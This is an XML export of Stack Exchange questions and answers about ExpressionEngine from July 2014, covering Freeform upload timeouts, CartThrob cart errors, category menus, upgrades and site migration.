  <row Id="24718" PostTypeId="2" ParentId="24715" CreationDate="2014-07-28T21:02:48.067" Score="2" Body="&lt;p&gt;EECMS just saves the IP of who edited an entry, not his or her &lt;code&gt;member_id&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try the Audit add-ons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/audit-pro&quot; rel=&quot;nofollow&quot;&gt;Audit Pro&lt;/a&gt;, which lets you archive logged data, set custom email notifications and search log entries;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/audit-tags&quot; rel=&quot;nofollow&quot;&gt;Audit Tags&lt;/a&gt;, which lets you output Audit’s logged data in your templates.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The add-on can be found on &lt;a href=&quot;https://github.com/Clearbold/audit-pro&quot; rel=&quot;nofollow&quot;&gt;github&lt;/a&gt; as well.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-07-28T21:02:48.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24719" PostTypeId="1" CreationDate="2014-07-28T21:12:59.930" Score="0" ViewCount="301" Body="&lt;p&gt;I am new to Freeform and EE; we are using Freeform 3.1.5. I have following questions.  Please advise.  Thanks!&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this version of Freeform support inline error message? &lt;/li&gt;&#xA;&lt;li&gt;Our inquiry form allows users to upload multiple files.  However, when users tried to upload files with large file sizes and timeout (so failed to save and submit the form), no error message is displayed and it will just redirect users to the thank you page that we specified on “return=”. Is there any way to display error message to users when timeout?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updates - Here is my template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;    collection=&quot;Field Installation Report&quot; &#xA;    notify=&quot;OUREMAIL@XXX.COM&quot;&#xA;    required=&quot;customer_name|install_site|install_date&quot;&#xA;    send_user_email=&quot;yes&quot;  &#xA;    template=&quot;field_report_template&quot;&#xA;    user_email_template=&quot;user_field_report_template&quot;&#xA;    file_upload=&quot;Field Service&quot;&#xA;    allowed_file_types=&quot;jpg|pdf|zip&quot;&#xA;    return=&quot;support/success&quot;&#xA;} &#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Field Report&amp;lt;/legend&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;subject&quot; value=&quot;Field Report Submitted&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;fir_user&quot; id=&quot;fir_user&quot; value=&quot;{name}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;form_entry_date&quot; id=&quot;form_entry_date&quot; value=&quot;{current_time format='%Y-%m-%d'}&quot;/&amp;gt;    &#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;customer_name&quot;&amp;gt;Customer Name&amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot;  id=&quot;customer_name&quot; name=&quot;customer_name&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;!-- more fields.... --&amp;gt;&#xA;&#xA;    &amp;lt;fieldset class=&quot;photo&quot;&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Photos or Documentation&amp;lt;/legend&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;file&quot; name=&quot;file1&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;file&quot; name=&quot;file2&quot; &amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;file&quot; name=&quot;file3&quot; &amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;file&quot; name=&quot;file4&quot; &amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;file&quot; name=&quot;file5&quot; &amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;file&quot; name=&quot;file6&quot; &amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;email&quot;&amp;gt;Email Confirmation To:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;email&quot;  id=&quot;email&quot; name=&quot;email&quot; value=&quot;{email}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input class=&quot;submit&quot; value=&quot;Submit Form&quot; type=&quot;submit&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3421" LastEditorUserId="3421" LastEditDate="2014-07-29T16:47:36.947" LastActivityDate="2015-11-25T06:55:11.353" Title="Timeout error with Freeform" Tags="|solspace-freeform|solspace|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24720" PostTypeId="1" CreationDate="2014-07-28T21:36:57.127" Score="1" ViewCount="74" Body="&lt;p&gt;Trying to show selected radio buttons (which assign entry to categories) on Safecracker page – updates entry okay ie assigns to right category but on refresh of Safecracker page all radio buttons are empty?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset&amp;gt;&#xA;&amp;lt;h3&amp;gt;Category you belong to&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Please choose ONLY 1&amp;lt;/p&amp;gt;&#xA;&#xA;{exp:channel:categories &#xA;  category_group=&quot;1&quot;&#xA;  style=&quot;linear&quot;&#xA;  channel=&quot;live&quot;}&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;category[]&quot; value=&quot;{category_id}&quot; /&amp;gt;&#xA;&amp;lt;span class=&quot;sub-label&quot;&amp;gt;{category_name}&amp;lt;/span&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;Any pointers appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2016-06-18T05:49:00.550" Title="Safercracker radio buttons – show chosen on refresh of page" Tags="|safecracker|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24721" PostTypeId="2" ParentId="24590" CreationDate="2014-07-28T22:39:02.853" Score="1" Body="&lt;p&gt;Did you remember to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/update.html#upload-new-files&quot; rel=&quot;nofollow&quot;&gt;update your themes&lt;/a&gt;? There is new JavaScript in 2.9.0 that handles the improved template editor. If you open your console on that page, I'm going to guess you have a number of JS errors (which also explains why your fields at the bottom are toggled open).&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-07-28T22:39:02.853" CommentCount="22" ContentLicense="CC BY-SA 3.0" />
  <row Id="24722" PostTypeId="2" ParentId="24706" CreationDate="2014-07-28T23:25:07.740" Score="1" Body="&lt;p&gt;This should get you started:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    member_id,&#xA;    username,&#xA;    join_date,&#xA;    now(),&#xA;    (UNIX_TIMESTAMP(now()) - (86400 * 30 * 6))&#xA;FROM&#xA;    exp_members&#xA;WHERE&#xA;    join_date &amp;lt; (UNIX_TIMESTAMP(now()) - (86400 * 30 * 6))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Returns members who have a join date older than 15552000 seconds (about 6 months).&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-07-28T23:25:07.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24723" PostTypeId="1" AcceptedAnswerId="24724" CreationDate="2014-07-28T23:46:35.170" Score="0" ViewCount="111" Body="&lt;p&gt;I'm creating a web store, and have set up nested categories to make the menu system (example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Home:&#xA;  - Categories:&#xA;      * Living room&#xA;      * Bathroom&#xA;Computers:&#xA;  - Categories:&#xA;      * CPU&#xA;      * RAM&#xA;  - Ready-made computers:&#xA;      * Gamer Starter&#xA;      * Gamer Extreme&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because of the structure, a simple &lt;code&gt;ul&amp;gt;li+ul&amp;gt;li&lt;/code&gt;-structure will not suffice. Is it possible to use custom HTML with this structure? This is what I've done so far, but it's messy and not quite working...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:channel:categories channel=&quot;top_menu&quot; style=&quot;linear&quot;}&#xA;    {if parent_id == 0}&#xA;    &amp;lt;?php $parent_id = '{category_id}'; ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{path='store/category'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;div class=&quot;big_menu&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;left&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;right&quot;&amp;gt;&#xA;    {/if}&#xA;            &amp;lt;div&amp;gt;&#xA;            {if {parent_id} == '&amp;lt;?php echo $parent_id; ?&amp;gt;'}&#xA;            &amp;lt;?php $parent_2_id = '{category_id}'; ?&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;            {/if}&#xA;            {if {parent_id} == '&amp;lt;?php echo $parent_2_id; ?&amp;gt;'}&#xA;            &amp;lt;a href=&quot;{path='store/category'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;            {/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!-- Will not work because this always happens before the preceding code... --&amp;gt;&#xA;            {if parent_id == 0}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2595" LastActivityDate="2014-07-29T01:43:49.533" Title="Can ExpressionEngine handle nested menus?" Tags="|categories|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24724" PostTypeId="2" ParentId="24723" CreationDate="2014-07-28T23:58:32.327" Score="1" Body="&lt;p&gt;I'm using GWcode Categories, &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/gwcode-categories&lt;/a&gt;, to create menu, list from the ExpressionEngine categories. It's working fine, powerful plugin, the doc is very good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can use too the category menu &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#id27&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#id27&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{category_menu}&#xA;  Categories&#xA;  &#xA;    {select_options}&#xA;  &#xA;{/category_menu}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or using the Query module: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/query/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/query/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="1918" LastEditDate="2014-07-29T01:43:49.533" LastActivityDate="2014-07-29T01:43:49.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24725" PostTypeId="2" ParentId="24719" CreationDate="2014-07-29T01:33:34.203" Score="1" Body="&lt;p&gt;Freeform 3.1.5 is an old version that isn't supported anymore. We strongly recommend upgrading to Freeform 4.x. See the compatibility chart to make sure your version of EE is compatible with Freeform 4.x: &lt;a href=&quot;http://www.solspace.com/software/compatibility&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/compatibility&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following guide is also strongly recommended after upgrading to Freeform 4.x when coming from 3.x: &lt;a href=&quot;http://www.solspace.com/docs/freeform/upgrade_3.x-4.x/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/upgrade_3.x-4.x/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;Very Important&lt;/em&gt;: Please make a reliable backup of your database and files before upgrading. It's also recommended to run the upgrade on a test/development installation before doing this on a live site&lt;/strong&gt;. This way, if something goes wrong, you can revert to your current status.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As for your questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;No. Inline error messages are only supported in Freeform Pro 4.x&lt;/li&gt;&#xA;&lt;li&gt;This is difficult to answer without seeing your template code. Also, in general uploading large files requires PHP to be setup to accept large files and not timeout before. These settings are usually found in your &lt;code&gt;php.ini&lt;/code&gt; file. Upgrading Freeform is still recommended, however. File upload handling is also different in Freeform 4.x. Once upgraded, you would need to show your template code if the issue persists.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-07-29T01:33:34.203" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24726" PostTypeId="1" CreationDate="2014-07-29T01:34:32.680" Score="2" ViewCount="46" Body="&lt;p&gt;I'm using the Discussion &lt;strong&gt;Forum 3.1.15 (EE 2.8.1)&lt;/strong&gt;.  For some reason, users aren't able to update their profile settings, e.g. Edit Profile, Edit Localization, etc.  When they submit the forms, they get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The action you have requested is invalid.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I noticed this was a bug related to XID values not being present as hidden fields in the forms on EE 2.7.x and Forums 3.1.14, but it was supposedly fixed and those fields are now there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a configuration tweak or something that I'm missing, or does anyone have any ideas?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="850" LastEditorUserId="7185" LastEditDate="2017-02-15T15:03:22.353" LastActivityDate="2017-02-15T15:03:22.353" Title="Discussion Forum - Users can't update profile settings" Tags="|error|discussion|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24727" PostTypeId="1" AcceptedAnswerId="24730" CreationDate="2014-07-29T03:08:04.793" Score="0" ViewCount="87" Body="&lt;p&gt;Since upgrading to Cartthrob 2.6 (on EE 2.7.0) I can only view the items in my cart when I'm logged into the control panel. When anyone else tries to add to cart they just see the page refresh and an empty cart. We're not using or creating members for the cart, everyone uses the cart as a guest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the standard add to cart form with the return set to the same page. There is only one product but with a range of options.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form return=&quot;samepage&quot; entry_id=&quot;2720&quot;}&#xA;&#xA;        &amp;lt;label&amp;gt;Card Value&amp;lt;/label&amp;gt;&#xA;        {exp:cartthrob:item_options entry_id=&quot;2720&quot;}&#xA;            {select}&#xA;                &amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt;${option_value}&amp;lt;/option&amp;gt;&#xA;            {/select}&#xA;        {/exp:cartthrob:item_options}&#xA;&#xA;    ...&#xA;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I add to cart when logged out (and see an empty cart) - I can then log in, refresh the page and can see that the item is in the cart. If I then log out and refresh the page again, the cart shows as empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried changing the redirection method in EE, setting the cookie domain... I haven't found anything that alters this behaviour so far.&lt;/p&gt;&#xA;" OwnerUserId="763" LastActivityDate="2014-08-05T22:09:02.483" Title="Upgraded to Cartthrob 2.6 - Now can only view cart when logged in" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24728" PostTypeId="1" AcceptedAnswerId="24788" CreationDate="2014-07-29T03:46:08.390" Score="0" ViewCount="47" Body="&lt;p&gt;A number of people get an EE error screen when submitting a Cartthrob checkout in Chrome if they don't use correct credit card details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sKmHH.jpg&quot; alt=&quot;Error (0)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I test it myself I get a proper transaction declined error but other users are seeing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on EE 2.8.1, Cartthrob 2.6.&lt;/p&gt;&#xA;" OwnerUserId="763" LastEditorUserId="763" LastEditDate="2014-07-31T02:35:04.800" LastActivityDate="2014-07-31T02:42:41.717" Title="Error (0) on Cartthrob checkout in Chrome" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24729" PostTypeId="2" ParentId="24728" CreationDate="2014-07-29T07:29:16.143" Score="0" Body="&lt;p&gt;CT2.6 requires EE 2.8.1+ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From their site:&#xA;NOTE ExpressionEngine 2.8 + is REQUIRED to run CartThrob 2.6+ Lesser versions may be able to run CartThrob 2.6, but they are not supported. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should probably add more details about gateway etc. to get a more on point answer.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-07-29T07:29:16.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24730" PostTypeId="2" ParentId="24727" CreationDate="2014-07-29T07:30:17.137" Score="1" Body="&lt;p&gt;Again:&#xA;NOTE ExpressionEngine 2.8 + is REQUIRED to run CartThrob 2.6+ Lesser versions may be able to run CartThrob 2.6, but they are not supported. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot changed with session/security between 2.8 and 2.8 so it's probably not a big surprise you'll have issues in this area if you're on an older EE&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-07-29T07:30:17.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24731" PostTypeId="1" CreationDate="2014-07-29T08:27:23.167" Score="0" ViewCount="92" Body="&lt;p&gt;I have a client whose site was basically abandoned by the previous developer. I've managed to get ownership of the license transferred and was in the process of updating EE from 2.3.1 to 2.9.0.  I followed the instructions to the letter and then logged into the control panel. The only difference was an alert that index.php had changed. Nothing else.  How do I activate the update wizard? Is there something missing in the instructions?&lt;/p&gt;&#xA;" OwnerUserId="3424" LastActivityDate="2014-07-29T10:00:49.763" Title="Updating a client's EE installation from 2.3.1 to 2.9" Tags="|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24732" PostTypeId="2" ParentId="24731" CreationDate="2014-07-29T10:00:49.763" Score="1" Body="&lt;p&gt;Assuming you mean the instructions in the EE documentation then you need to ensure that the installer directory is within the system directory. Also ensure that the system directory hasn't been renamed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important thing &lt;strong&gt;Back up your database and files before starting&lt;/strong&gt;. It is very common for the update process to run into problems when going from a version as old as 2.3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also find that you may be better off going to 2.8 rather than 2.9. The latest version introduces some changes to the way conditionals work and if your site is complex it might be bit of a job to 'fix' any conditional logic in your templates.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-29T10:00:49.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24733" PostTypeId="2" ParentId="23886" CreationDate="2014-07-29T10:34:42.390" Score="0" Body="&lt;p&gt;Just an update on this , it turned out it was related to the the search terms and seach log tables in my database. They had grown to over 300 MB between them and made up about half my database size. This information wasn't important for me so I truncated the tables turned off search logging in the settings. &#xA;Everything works ok now with my save entries working as normal and my database is now a more manageable size.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-07-29T10:34:42.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24734" PostTypeId="1" CreationDate="2014-07-29T10:52:05.500" Score="0" ViewCount="48" Body="&lt;p&gt;I notice Cartthrob has a message up on the site about putting Subscriptions on hold. But the site still has a Buy Now feature on the subscriptions page... Is Subscriptions up and running again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use Cartthrob for both shop, but very importantly annual subscriptions. Is this not possible currently? (It is a project that needs completed in Aug, so a bit of a rush)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no automatic billing or the likes, simple the user subscribes for a year, and is notified when the subscription expires. There will also be products for sale separate to this, hence why I am interested in using Cartthrob.&lt;/p&gt;&#xA;" OwnerUserId="1955" LastActivityDate="2014-10-25T22:21:48.793" Title="Cartthrob Subscriptions…" Tags="|cartthrob|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24736" PostTypeId="1" CreationDate="2014-07-29T12:41:49.847" Score="0" ViewCount="139" Body="&lt;p&gt;Has anyone integrated calendar into a responsive template? &lt;/p&gt;&#xA;" OwnerUserId="3427" LastActivityDate="2014-07-29T13:10:50.443" Title="Responsive functionality for Calendar, does it exist?" Tags="|calendar|" AnswerCount="1" CommentCount="3" ClosedDate="2014-08-05T17:29:28.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="24737" PostTypeId="2" ParentId="24736" CreationDate="2014-07-29T13:10:50.443" Score="1" Body="&lt;p&gt;Yes, just use the cal tag. If you click on view calendar events on &lt;a href=&quot;http://www.seerockcity.com/events/entry/summer-music-weekends&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;, that is a Solspace calendar that is responsive. The cal tags allow you to do this easily, it's all just css.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-29T13:10:50.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24738" PostTypeId="2" ParentId="24709" CreationDate="2014-07-29T13:16:33.677" Score="1" Body="&lt;p&gt;Sorry for the lack of clarity,  I have figured this out and will detail it in case someone makes the same mistake I made.  I have been working with EE to long to make this type of mistake, but figured detailing may help others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What this looked like on my end:&lt;/strong&gt;  The field type appear to install correctly, but when attempting to edit a page using this field type, I could not add or edit any of my list items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I did wrong:&lt;/strong&gt; I accidentally uploaded the field type code to both &lt;code&gt;system/expressionengine/third_party&lt;/code&gt; and &lt;code&gt;themes/third_party&lt;/code&gt;.  Obviously the module's theme code needs to go in the themes folder, but in a rush to update I accidentally made this incorrect upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How I found the problem:&lt;/strong&gt; I went to an edit page containing the List field type and did an inspect element.  Then noticed 404 errors saying that the field type's css and js couldn't be found.  Since these were supposed to be located in the &lt;code&gt;themes/third_party&lt;/code&gt; folder, checking this folder I found the incorrect folder had been uploaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt; (Which is very obvious at this point) Upload the modules theme folder to the server's &lt;code&gt;themes/third_party&lt;/code&gt; folder&lt;/p&gt;&#xA;" OwnerUserId="902" LastActivityDate="2014-07-29T13:16:33.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24739" PostTypeId="2" ParentId="6217" CreationDate="2014-07-29T13:38:49.220" Score="0" Body="&lt;p&gt;Paypal seems to have brought up a new way of integrating paypal pro see link: &lt;a href=&quot;https://developer.paypal.com/webapps/developer/docs/classic/products/paypal-payments-pro/&quot; rel=&quot;nofollow&quot;&gt;https://developer.paypal.com/webapps/developer/docs/classic/products/paypal-payments-pro/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this version supported by expresso store and if not are there any plans for future support?&#xA;&lt;a href=&quot;https://developer.paypal.com/webapps/developer/docs/classic/products/ppp-direct-payment/&quot; rel=&quot;nofollow&quot;&gt;https://developer.paypal.com/webapps/developer/docs/classic/products/ppp-direct-payment/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3425" LastActivityDate="2014-07-29T13:38:49.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24740" PostTypeId="1" CreationDate="2014-07-29T14:34:54.950" Score="0" ViewCount="41" Body="&lt;p&gt;I am trying to update from 2.6. to 2.9 and when asked to select the language the select menu is empty.&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2016-05-13T11:32:55.407" Title="EE update 2.6 to 2.9 : during update cannot select language" Tags="|update|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24741" PostTypeId="1" AcceptedAnswerId="24743" CreationDate="2014-07-29T15:09:49.657" Score="-1" ViewCount="35" Body="&lt;p&gt;I am about to change hosting, is there documentation about how to move an EE2 web site from one host to another?&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2014-07-29T15:16:51.377" Title="is there documentation about how to move an EE2 web site?" Tags="|ee2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24742" PostTypeId="2" ParentId="24740" CreationDate="2014-07-29T15:15:46.497" Score="0" Body="&lt;p&gt;Did you copy the languages folders from your old to your new system/expressionengine/language folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: to make this a more complete answer- The Expression Engine docs on languages &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/languages.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/general/languages.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2014-07-29T15:15:46.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24743" PostTypeId="2" ParentId="24741" CreationDate="2014-07-29T15:16:51.377" Score="2" Body="&lt;p&gt;If you do a google search for &quot;expressionengine moving a site&quot; the first link is the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/operations/moving.html&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine Documentation for doing so.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-29T15:16:51.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24744" PostTypeId="2" ParentId="24720" CreationDate="2014-07-29T15:27:37.340" Score="0" Body="&lt;p&gt;I have an idea, but not sure how if it applies to a Safecracker form. Maybe set some POST variables in the refreshed url, and use Mo Variables to GET them. Then you can do some conditionals to check to see which fields need to be marked as selected. But like I said, this might not apply to Safecracker forms.&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2014-07-29T15:27:37.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24745" PostTypeId="2" ParentId="24667" CreationDate="2014-07-29T17:07:03.923" Score="1" Body="&lt;p&gt;Try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../leerlijnen/school/{entry_id}/#toevoegen&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may have to put it between channel tags to get it to parse.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-07-29T17:07:03.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24746" PostTypeId="2" ParentId="24636" CreationDate="2014-07-29T17:10:41.877" Score="1" Body="&lt;p&gt;You could do it outside the scope of expresso-store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have to create three separate products which are identical in every way but price and then use Expressionengine's built in conditionals to display them based upon user group.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-07-29T17:10:41.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
